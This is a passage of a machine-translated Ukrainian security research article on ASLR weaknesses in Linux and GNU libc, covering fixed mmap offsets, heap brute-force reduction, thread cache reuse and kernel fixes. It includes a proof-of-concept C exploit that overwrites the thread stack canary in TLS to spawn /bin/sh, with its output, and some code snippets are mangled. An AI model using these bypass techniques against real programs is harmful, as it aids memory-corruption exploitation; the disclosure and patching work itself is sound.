    Як видно, різниця не змінюється від запуску до запуску, а значення «канарки» збіглися. Це означає, що при наявності відповідної уразливості можна змінити «канарку» і обійти цей захист. Наприклад — при наявності уразливості переповнення буфера в стеку і вразливість, що дозволяє писати пам’ять по зсуву від виділеного з допомогою mmap регіону. У розглянутому прикладі зміщення буде одно 0x85c8700. Цей приклад демонструє метод обходу ASLR і «канарку».

    Mmap і glibc

    Про схожому прикладі вже говорилося в розділі 4.2, але ось ще приклад: виділимо пам’ять через mmap і отримаємо різницю між цією адресою і функціями system і execv з бібліотеки glibc — вихідний код:

    1234567891011121314 int main(int argc, char **argv, char **envp){ int res; system(“”); // call to make lazy linking execv(“”, NULL); // call to make lazy linking unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, “system”); unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, “execv”); printf(“addr %lx system %lx execv %lxn”, addr, addr_system, addr_execv); printf(“system – addr %lx execv – addr %lxn”, addr_system – addr, addr_execv – addr); return 0;}

    Висновок після першого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860system – addr 8045390 execv – addr 80cc860

    Висновок після другого запуску:

    123 blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f534809c000 system 7f53500e1390 execv 7f5350168860system – addr 8045390 execv – addr 80cc860

    Як видно, різниця між виділеним регіоном і функціями незмінна. Даний приклад демонструє метод обходу ASLR, якщо уразливий код працює з буфером, виділеним через mmap. Постійними будуть відстані в байтах не тільки до функцій бібліотек, але і для даних, що також може бути використано при експлуатації програми.

    Переповнення буфера на стеку дочірнього потоку

    Створимо новий потік і переполним буфер на стеку до TLS-значення. Якщо аргументів у командному рядку немає, не будемо переписувати «канарку» в TLS, в іншому ж випадку перепишемо її. Ця логіка з аргументами була обрана, просто щоб можна було показувати різницю в поведінці програми.

    Переписувати будемо байтом 0x41. Вихідний код:

    1234567891011121314151617181920212223242526272829303132333435363738394041 void pwn_payload() { char *argv[2] = {“/bin/sh”, 0}; execve(argv[0], argv, 0);} int fixup = 0;void * first(void *x){ unsigned long *addr; arch_prctl(ARCH_GET_FS, &addr); printf(“thread FS %pn”, addr); printf(“cookie thread: 0x%lxn”, addr[5]); unsigned long * frame = __builtin_frame_address(0); printf(“stack_cookie addr %p n”, &frame[-1]); printf(“diff : %lxn”, (char*)addr – (char*)&frame[-1]); unsigned long len =(unsigned long)( (char*)addr – (char*)&frame[-1]) + fixup; // example of exploitation // prepare exploit void *pws = malloc(len); memset(exploit, 0x41, len); void *ptr = &pwn_payload; memcpy((char*)exploit + 16, &ptr, 8); // exact stack-buffer overflow example memcpy(&frame[-1], exploit, len); return 0;} int main(int argc, char **argv, char **envp){ pthread_t one; unsigned long *addr; void *val; arch_prctl(ARCH_GET_FS, &addr); if (argc > 1) fixup = 0x30; printf(“main FS %pn”, addr); printf(“cookie main: 0x%lxn”, addr[5]); pthread_create(&one, NULL, &first, 0); pthread_join(one,&val); return 0;}

    В даному прикладі захисту вдалося виявити на переповнення стеку і завершити додаток з помилкою до перехоплення управління зловмисником. А тепер перезапишем еталонне значення «канарки»:

    123456789 blackzert@crasher:~/aslur/tests$ ./thread_stack_tlsmain FS 0x7fa0e8615700cookie main: 0xb5b15744571fd00thread FS 0x7fa0e7e2f700cookie thread: 0xb5b15744571fd00stack_cookie addr 0x7fa0e7e2ef48 diff : 7b8*** stack smashing detected ***: ./thread_stack_tls terminatedAborted (dumped core)

    У другому випадку ми успішно переписали «канарку» і виконалася функція pwn_payload, із запуском інтерпретатора sh.

    123456789 blackzert@crasher:~/aslur/tests$ ./thread_stack_tls 1main FS 0x7f4d94b75700cookie main: 0x2ad951d602d94100thread FS 0x7f4d94385700cookie thread: 0x2ad951d602d94100stack_cookie addr 0x7f4d94384f48diff : 7b8$ ^Dblackzert@crasher:~/aslur/tests$

    Даний приклад демонструє метод обходу захисту від переповнення на стеку. Для успішної експлуатації зловмисникові необхідно мати можливість перезаписати достатню кількість байтів, щоб перезаписати еталонне значення «канарки». У представленому прикладі зловмисникові необхідно замінити як мінімум 0x7b8+0x30 байт, що дорівнює 2024 байт.

    Стек потоку і буфер маленького розміру, виділений з допомогою malloc

    Тепер створимо потік, в ньому виділимо пам’ять з допомогою malloc і порахуємо різниця з локальної змінної в цьому потоці. Вихідний код:

    123456789101112131415161718 void * first(void *x){ int a = (int)x; int *p_a = &a; void *ptr; ptr = malloc(8); printf(“%lxn%p, %pn”, (unsigned long long)ptr – (unsigned long long)p_a, ptr, p_a); return 0;} int main(){ pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0;}

    Перший запуск програми:

    123 blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heapfffffffff844e98c0x7f20480008c0, 0x7f204fbb1f34

    І другий запуск програми:

    123 blackzert@crasher:~/aslur/tests$ ./thread_stack_small_heapfffffffff94a598c0x7fa3140008c0, 0x7fa31ab5af34

    У цьому випадку різниця не співпала. Причому від запуску до запуску вона не співпаде. Спробуємо розібратися чому.

    Перше, що слід зауважити: адреса покажчика, отриманого malloc, не відповідає адресі купи [heap] процесу.

    Glibc створює нову купу для кожного створеного з допомогою pthread_create потоку. Покажчик на цю купу лежить в TLS потоку, тому будь потік виділяє пам’ять з «своєї» купи, що дає виграш у продуктивності: не треба забезпечувати синхронізацію потоків у разі конкурентного malloc.

    Але чому адресу «випадковий»?

    Glibc при виділенні нової купи використовує mmap, причому розмір залежить від конфігурації. В моєму випадку розмір купи дорівнює 64 Мбайт. Адреса початку купи повинен бути вирівняний на 64 Мбайт. Тому спочатку виділяється 128 Мбайт, у виділеному діапазоні виділяється вирівняний шматок 64 Мбайт, а залишки звільняються, і між отриманим адресою купи і найближчим регіоном, виділених раніше з допомогою mmap, утворюється «дірка».

    Випадковість же вносить саме ядро ще при виборі mmap_based: ця адреса не вирівняний на 64 Мбайт, як і всі виділення пам’яті mmap, що йдуть до виклику розглянутого malloc.

    Незалежно від причини вимоги до выровненности адреси це призводить до дуже цікавого ефекту — з’являється можливість перебору.

    Відомо, що адресний простір процесу для x86-64 визначено в ядрі Linux як 47bits minus one guard page, тобто з округленням 2^47 (тут і далі для простоти ми спеціально опустимо віднімання розміру однієї сторінки при обчисленні розмірів). 64 Мбайт — це 2^26, і значущих бітів залишається 47 – 26 = 21. Тобто може бути всього 2^21 різних куп другорядних потоків.

    При необхідності це істотно скорочує безліч перебору.

    Завдяки вибору mmap адреси відомим чином можна стверджувати, що купа першого потоку, створеного через pthread_create, буде обрано 64 Мбайт, близьких до верхнього діапазону адрес. А точніше, поруч з усіма завантаженими бібліотеками, завантаженими файлами і подібним.

    Іноді можливо обчислити загальний обсяг пам’яті, виділеної до виклику заповітного malloc. У нашому випадку завантажені тільки glibc, ld та створено стек для потоку. Тому це значення мало.

    У розділі 6 буде показано, як вибирається адреса mmap_base, однак зараз трохи додаткової інформації: mmap_base вибирається з ентропією від 28 до 32 біт в залежності від налаштування ядра при компіляції (за замовчуванням 28 біт). І на це значення відстає деяка верхня межа.

    Таким чином, у великій частці випадків старші 7 біт адреси будуть 0x7f і в рідкісних випадках 0x7e. Це дає нам ще 7 біт визначеності. Разом виходить 2^14 можливих варіантів вибору купи для першого потоку. Чим більше потоків створено, тим більше буде зменшуватися це число для наступного вибору купи.

    Покажемо це поведінка наступним кодом на C:

    1234567891011121314151617 void * first(void *x){ int a = (int)x; void *ptr; ptr = malloc(8); printf(“%pn”, ptr ); return 0;} int main(){ pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0;}

    І запустимо цю програму достатню кількість разів, збираючи статистику адрес, код на Python:

    123456789101112131415161718 import subprocessd = {}def dump(iteration, hysto): print ‘Iteration %d len %d’%(iteration, len(hysto)) for key in sorted(hysto): print hex(key), hysto[key]i = 0while i < 1000000: out = subprocess.check_output([‘./t’]) addr = int(out, 16) #omit page size addr >>= 12 if addr in d: d[addr] += 1 else: d[addr] = 1 i += 1dump(i,d)

    Даний код достатню кількість разів запускає просту програму ‘./t’, яка створює новий потік, виділяє в ній буфер з допомогою malloc і виводить адреса виділеного буфера. Після того як програма відпрацювала, адреса зчитується і вважається, скільки разів ця адреса зустрічався за час роботи. В результаті скрипт збирає 16 385 різних адрес, що дорівнює 2^14+1. Стільки спроб може зробити зловмисник у найгіршому випадку для того, щоб вгадати адреса купи розглянутої програми.

    Є ще варіант «стек потоку і великий буфер, виділений з допомогою malloc», але він мало чим відрізняється від описаного. Єдина відмінність: у разі великого розміру буфера знову викличеться mmap, і складно сказати, куди потрапить виділений регіон, — він може заповнити утворену дірку або встати перед купою.

    Кеш стека і купи потоку

    У цьому прикладі створимо потік і виділимо в ньому пам’ять з допомогою malloc. Запам’ятаємо адреси стека потоку і покажчика, отриманого за допомогою malloc. Ініціалізуємо деяку змінну в стеку значенням 0xdeadbeef. Завершимо потік і створимо новий, виділимо пам’ять з допомогою malloc. Порівняємо адреси та значення змінної, на цей раз неинициализированной. Вихідний код:

    123456789101112131415161718192021222324252627 void * func(void *x){ long a[1024]; printf(“addr: %pn”, &a[0]); if (x) printf(“value %lxn”, a[0]); else { a[0] = 0xdeadbeef; printf(“value %lxn”, a[0]); } void * addr = malloc(32); printf(“malloced %pn”, addr); free(addr); return 0;} int main(int argc, char **argv, char **envp){ int val; pthread_t thread; pthread_create(&thread, NULL, func, 0); pthread_join(thread, &val); pthread_create(&thread, NULL, func, 1); pthread_join(thread, &val); return 0;}

    Результат роботи програми:

    1234567 blackzert@crasher:~/aslur/tests$ ./pthread_cache addr: 0x7fd035e04f40value deadbeefmalloced 0x7fd030000cd0addr: 0x7fd035e04f40value deadbeefmalloced 0x7fd030000cd0

    На прикладі видно, що адреси локальних змінних в стеку для потоків, створених один за одним, не відрізняються. Також не відрізняються і адреси змінних, виділених для них з допомогою malloc. А деякі значення локальних змінних першого потоку все ще доступні другого потоку. Зловмисник може використовувати це при експлуатації уразливості неинициализированных змінних (Use of Uninitialized Variable). Кеш хоч і прискорює роботу додатка, однак надає можливості для експлуатації і обходу ASLR.

    Обчислення карти адресного простору процесу

    Коли створюється новий процес, ядро слід алгоритму для визначення його адресного простору:

  • Після виклику execve віртуальна пам’ять процесу повністю очищається.
  • Створюється перша vma, що описує стек процесу (stack_base). Спочатку його адресу вибирається як 2^47 – pagesize (де pagesize — розмір сторінки, у разі x86-64 рівний 4096), а згодом зсувається на деяку випадкову величину random1, що не перевищує 16 Гбайт (відбувається це досить пізно, після вибору бази бінарного файлу, тому можливі цікаві ефекти: якщо бінарний файл програми займе всю пам’ять, стек опиниться поряд з базовою адресою бінарного файлу).
  • Ядро вибирає mmap_base — адресу, щодо якого згодом будуть завантажені всі бібліотеки в адресному просторі процесу. Визначається цю адресу як stack_base – random2 – 128 Мбайт, де random2 — випадкова величина, верхня межа якої залежить від налаштування ядра і має межу від 1 до 16 Тбайт.
  • Ядро пробує завантажити бінарний файл програми. Якщо файл є PIE (не залежних від базової адреси завантаження), базовий адреса вибирається як (2^47 – 1) * 2/3 + random3, де випадкова величина random3 також визначається конфігурацією ядра і має верхню межу від 1 до 16 Тбайт.
  • Якщо файл потребує динамічно підвантажуваних бібліотеках, ядро пробує завантажити програму-перекладач, яка повинна буде завантажити всі необхідні бібліотеки і провести ініціалізації. Зазвичай в якості інтерпретатора в ELF-файлах вказаний ld з glibc. Адреса вибирається щодо mmap_base.
  • Ядро встановлює купу нового процесу як кінець завантаженого ELF-файл плюс деяке випадкове random4 з верхньою межею до 32 Мбайт.
  • Коли пройшли всі етапи, процес запускається, і в якості стартового адреси буде адресу або з ELF-файл інтерпретатора (ld), або з самого ELF-файл програми, якщо інтерпретатор відсутній (статично «слинкованный» ELF).

    Якщо включений ASLR і є можливість завантаження за довільною адресою в файлу програми, процес буде мати наступний вигляд.

    Кожна бібліотека, будучи завантаженої інтерпретатором, отримає управління, якщо в ній визначено список глобальних конструкторів. У цьому випадку будуть викликані функції бібліотеки для виділення ресурсів (глобальні конструктори), необхідних цій бібліотеці.

    aslr v linux i gnu libc46 ASLR в Linux і GNU libc

    Завдяки відомому порядку завантаження бібліотек можна отримати деяку точку в потоці виконання програми, що дозволяє побудувати розташування регіонів пам’яті відносно один одного незалежно від роботи ASLR. Чим більше буде відомо про бібліотеках, конструкторів і поведінку програми, тим далі ця точка буде відставати від точки створення процесу.

    Для визначення конкретних адрес все ж потрібна уразливість, що дозволяє отримати адресу деякого mmap-регіону або дозволяє читати (писати) пам’ять щодо деякого mmap-регіону:

    • коли зловмисникові відомий адресу деякого mmap-регіону, виділеного від моменту старту процесу до точки константного виконання (розділ 4.3), атакуючий може успішно обчислити mmap_base та адресу будь-якої завантаженої бібліотеки або будь-якого іншого mmap-регіону;
    • у разі можливості адресуватися щодо деякого mmap-регіону з точки константного виконання — додатково який-небудь ще адресу знати необов’язково.

    Для доказу побудови карти пам’яті процесу був написаний код на Python, що імітує поведінку ядра при пошуку нових регіонів. Також був повторений спосіб завантаження ELF-файлів і порядок завантаження бібліотек. Для імітації уразливість, що дозволяє прочитати адреси бібліотек, використовувалася файлова система /proc: скрипт зчитує адресу ld (таким чином відновлює mmap_base) і повторює карту пам’яті процесу, маючи бібліотеки. Після чого порівнює з оригіналом. Скрипт повністю повторював адресний простір всіх процесів. Код скрипта також доступний.

    Вектори атак

    Розглянемо деякі уразливості, що вже стали класичними з-за своєю поширеністю.

    • Помилки переповнення буфера на купі. Широко відомі різні уразливості при роботі додатків з купою glibc і також методи їх експлуатації. З усіх методів можна виділити два типи — небудь вони дозволяють модифікувати пам’ять щодо адреси вразливою купи, або вони дозволяють модифікувати адреси пам’яті, відомі атакуючому. У деяких випадках є можливість читати довільні дані з об’єктів на купі. Звідси можна отримати кілька векторів:
      • у випадку модифікування (читання) пам’яті щодо об’єкта в купі в першу чергу нас цікавить купа потоку, створеного через pthread_create, так як відстань від неї до будь-якої бібліотеки (стека) потоку буде менше, ніж від купи головного потоку;
      • у випадку читання (запису) пам’яті щодо деякого адреси в першу чергу потрібно пробувати прочитати адреси з самої купи, оскільки там зазвичай лежать покажчики на vtable або на libc.main_arena. Знання адреси libc.main_arena тягне за собою знання адреси glibc і згодом mmap_base. Знання адреси vtable може дати або адресу деякої бібліотеки (отже, і mmap_base), адреса завантаження програми. Якщо відома адреса завантаження програми, можна вичитати адреси бібліотек з секції .got.plt, що містить посилання на необхідні функції бібліотек.
    • Переповнення буфера:
      • на стеку призводить до розглянутого варіанту з «канаркою»;
      • на купі призводить до варіанту, розглянуто в пункті 1;
      • на регіоні mmap призводить до перезапису сусідніх регіонів і залежить від контексту.

    Виправлення

    В даній статті описано декілька проблем, розглянемо виправлення для деяких з них. Почнемо з найпростіших і далі перейдемо до більш складним.

    Дірка в ld.so

    Як було показано в розділі 4.4, завантажувач ELF-інтерпретатора в ядрі Linux містить помилку і допускає звільнення частини пам’яті бібліотеки інтерпретатора. Відповідне виправлення було запропоновано спільноти, однак не отримало належної уваги.

    Порядок завантаження сегментів ELF-файл

    Як було зазначено вище, в ядрі і в коді бібліотеки glibc відсутня перевірка ELF-сегментів файлу — код просто довіряє тому, що вони складені в правильному порядку. PoC даної проблеми програми, як і виправлення.

    Виправлення досить просте: ми проходимо за сегментами і перевіряємо, що не перекриває наступний і сегменти упорядковані за зростанням vaddr.

    Врахування mmap_min_addr при пошуку адреси виділення mmap

    Як тільки було написано виправлення для mmap, що дозволяє повертати адреси з достатньою ентропією, постала проблема: деякі виклики mmap завершувалися невдало з помилкою прав доступу. Навіть від рута, навіть якщо запитані з ядра при виконанні execve.

    В алгоритмі вибору адреси (описаного в розділі 3) був пункт «перевірка адреси на обмеження, пов’язані з безпекою». У поточній реалізації ця перевірка переконується, що обраний адресу більше mmap_min_addr. Це змінна системи, доступна до зміни адміністратором через sysctl. Адміністратор системи може задати будь-яке значення, і процес не зможе виділити сторінку за адресою менше цього значення. За замовчуванням значення цього параметра 65536.

    Проблема була в тому, що при виклику функції вибору адреси для mmap в архітектурі x86-64 ядро Linux використовувало значення допустимої нижньої межі 4096, що менше значення mmap_min_addr. І функція cap_mmap_addr забороняє операцію, якщо обраний адресу лежить між 4096 і mmap_min_addr.

    cap_mmap_addr неявно викликається: ця функція зареєстрована «хуком» для перевірки безпеки. Дане архітектурне рішення викликає питання: спочатку ми вибираємо адресу, не маючи можливості перевірити його за якимось зовнішніми критеріями, а потім ми перевіряємо його допустимість у відповідності з поточними параметрами системи. І якщо адреса не пройшов перевірку, то навіть у разі, коли адреса вибирається ядром, він може бути «забороненим» і вся операція завершиться з помилкою EPERM.

    Зловмисник може скористатися цим, щоб добитися відмови від роботи всієї системи: якщо зловмисникові вдасться вказати дуже велике значення, в системі не зможе запуститися ні один користувальницький процес. А якщо зловмисник зможе зберегти значення в параметрах системи, то навіть перезавантаження не допоможе — всі створювані процеси будуть отримувати EPERM і завершуватися з помилкою.

    В якості виправлення на даний момент було додано використання значення mmap_min_addr при запиті до функції пошуку адреси як мінімально можливого адреси. Такий же код використовується для всіх інших архітектур.

    Питання з тим, що буде, якщо адміністратор системи почне змінювати це значення на працюючій машині, залишається відкритим — все нові виділення після зміни можуть завершуватися з помилкою EPERM, а жоден код програми просто не очікує такої помилки і не знає, що з нею робити. У документації до mmap сказано наступне:

    EPERM The operation was prevented by a file seal; see fcntl(2).

    Тобто ядро не може повернути EPERM на MAP_ANONYMOUS, хоча насправді це не так.

    Mmap

    Основна розглянута проблема mmap — відсутність ентропії при виборі адреси. Логічне виправлення, якщо в ідеалі, — вибрати пам’ять випадково. Щоб вибрати випадково, потрібно спочатку побудувати список всіх вільних регіонів, що підходять за розміром. Після цього потрібно вибрати з отриманого списку випадковий регіон і адресу з цього регіону, що задовольняє критеріям пошуку — довжині запитуваної регіону і допустимим нижній та верхній границям.

    Для реалізації цієї логіки можна виділити кілька наступних підходів:

  • Тримати список пустот в упорядкованому за спаданням масиві. При цьому вибір випадкового елемента робиться за одну операцію, проте підтримка цього масиву вимагає безлічі операцій по звільненню (виділення) пам’яті при зміні поточної карти віртуального адресного простору процесу.
  • Тримати список пустот в дереві і у списку, щоб за логарифм від кількості пустот знаходити крайню межу, що задовольняє по довжині, і вибирати випадковий елемент з масиву. Якщо він не підходить за обмеженням мінімального (максимального) допустимого адреси, вибрати наступний — і так далі, поки не буде знайдений потрібний чи не залишиться жодного. У цьому підході потрібно підтримувати складні структури списку і дерева аналогічно вже існуючих для vma при зміні адресного простору.
  • Використовувати існуючу структуру розширеного червоно-чорного дерева vma для обходу списку допустимих пустот gap і випадкового вибору адреси. В гіршому випадку при кожному виборі доведеться обходити всі вершини, проте немає ніяких додаткових витрат на перебудування дерева.
  • Був обраний останній підхід — використовувати існуючу структуру організації vma без додавання надмірності і вибирати адресу за наступним алгоритмом:

  • Використовувати існуючий алгоритм для знаходження можливої порожнечі gap, що має найбільший допустимий адресу. Також запам’ятати структуру vma, наступну за нею. Якщо такого немає, повернути ENOMEM.
  • Знайдений gap запам’ятати як результат, а vma — як максимальну верхню межу.
  • Взяти першу структуру vma з двусвязного списку. Вона буде листом в червоно-чорному дереві, тому що має найменший адресу.
  • Зробити лівобічний обхід дерева від обраної vma, перевіряючи допустимість вільного регіону між розглянутої vma та її попередником. Якщо вільний регіон підходить з обмежень, отримати черговий біт ентропії. Якщо біт ентропії дорівнює 1, змінити поточне значення порожнечі gap.
  • Повернути випадковий адресу обраного регіону порожнечі gap.
  • В якості оптимізації в пункті 4 можна не заходити у піддерева, розмір розширення gap яких менше необхідної довжини.

    Даний алгоритм вибирає адресу з достатнім значенням ентропії, хоча і працює довше поточної реалізації.

    З явних недоліків можна відзначити необхідність обходу всіх vma, що мають достатню довжину порожнечі gap. Однак це компенсується відсутністю накладних витрат продуктивності при зміні адресного простору.

     

    Тестування виправлень до ASLR

    Після застосування описаних виправлень до ядра процес /bin/less виглядає наступним чином:

    123456789101112131415161718192021222324252627282930313233 314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so314a2d301000-314a2d302000 r–p /lib/x86_64-linux-gnu/ld-2.26.so314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so314a2d303000-314a2d304000 rw-p 3169afcd8000-3169afcdb000 rw-p 316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9316a94ac6000-316a94cc5000 —p /lib/x86_64-linux-gnu/libtinfo.so.5.9316a94cc5000-316a94cc9000 r–p /lib/x86_64-linux-gnu/libtinfo.so.5.9316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9 3204e362d000-3204e3630000 rw-p 4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so447800102000-447800302000 —p /lib/x86_64-linux-gnu/libc-2.26.so447800302000-447800306000 r–p /lib/x86_64-linux-gnu/libc-2.26.so447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so447800308000-44780030c000 rw-p 509000396000-509000d60000 r–p /usr/lib/locale/locale-archive 56011c1b1000-56011c1d7000 r-xp /bin/less56011c3d6000-56011c3d7000 r–p /bin/less56011c3d7000-56011c3db000 rw-p /bin/less56011c3db000-56011c3df000 rw-p 56011e0d8000-56011e0f9000 rw-p [heap] 7fff6b4a4000-7fff6b4c5000 rw-p [stack]7fff6b53b000-7fff6b53e000 r–p [vvar]7fff6b53e000-7fff6b540000 r-xp [vdso]ffffffffff600000-ffffffffff601000 r-xp [vsyscall]

    На прикладі видно:

  • Всі бібліотеки виділені у випадкових місцях, що знаходяться на випадковому відстані один від одного.
  • Файл /usr/lib/locale/locale-archive, відображений за допомогою mmap, також знаходиться за випадковим адресами.
  • «Діра» в /lib/x86_64-linux-gnu/ld-2.26.so не заповнена ні одним відображенням mmap.
  • Даний патч був протестований на системі Ubuntu 17.04 з запущеними браузери Chrome і Mozilla Firefox. Жодних проблем виявлено не було.

    Висновок

    В результаті дослідження було виявлено багато особливостей у роботі ядра і glibc при обслуговуванні коду програм. Була сформульована і розглянута проблема близького розташування пам’яті. Були знайдені наступні проблеми:

    • Алгоритм вибору адреси mmap не містить ентропії.
    • Завантаження ELF-файл в ядрі і інтерпретатор містить помилку обробки сегментів.
    • При пошуку адреси функцією do_mmap в ядрі не враховується mmap_min_addr в архітектурі x86-64.
    • Завантаження ELF-файл в ядрі допускає створення «дірок» у ELF-файл програми і інтерпретатор ELF-файл.
    • Інтерпретатор ELF-файл з GNU Libc ld, використовуючи mmap для виділення пам’яті для бібліотек, завантажує бібліотеки з незалежних від mmap_base адресами. Також бібліотеки завантажуються в строго визначеному порядку.
    • Бібліотека GNU Libc, використовуючи mmap для виділення стека, купи і TLS потоку, також розташовує їх за залежних від mmap_base адресами.
    • Бібліотека GNU Libc розміщує TLS потоків, створених з допомогою pthread_create, на початку стека, що дозволяє обійти захист від переповнення буфера на стеку, переписавши «канарку».
    • Бібліотека GNU Libc кешує раніше виділені купи (стеки) потоків, що дозволяє в деяких випадках успішно завершити експлуатацію уразливого програми.
    • Бібліотека GNU Libc створює купу нових потоків, вирівняну на 2^26, що знижує потужність перебору.

    Дані проблеми допомагають зловмисникові при обході ASLR або при обході захисту від переповнення буфера на стеку. Для деяких виявлених проблем були запропоновані виправлення у вигляді патчів до ядра.

    Для усіх проблем були представлені PoC. Був запропонований алгоритм вибору адреси, що передбачає достатній рівень ентропії. Продемонстрований підхід може бути використаний для аналізу ASLR в інших операційних системах, наприклад Windows або macOS.

    Було розглянуто ряд особливостей реалізації GNU Libc, знання яких у ряді випадків дозволяє спростити експлуатацію додатків.

    Продемонстрований підхід може бути використаний для аналізу поведінки ASLR в інших операційних системах, таких як Windows, macOS і Android.

    Посилання

    • Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-Oriented Programming: Exploits Without Code Injection
    • xorl
    • Reed Hastings, Bob Joyce. Purify: Fast Detection of Memory Leaks and Access Errors
    • Improper Restriction of Operations within the Bounds of a Memory Buffer
    • AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5%
    • Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR
    • Hector Marco-Gisbert, Ismael Ripoll. Offset2lib: bypassing full ASLR on 64bit Linux
    • Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation
    Сподобалася стаття? Поділитися з друзями:
    Всезнайко - Корисні поради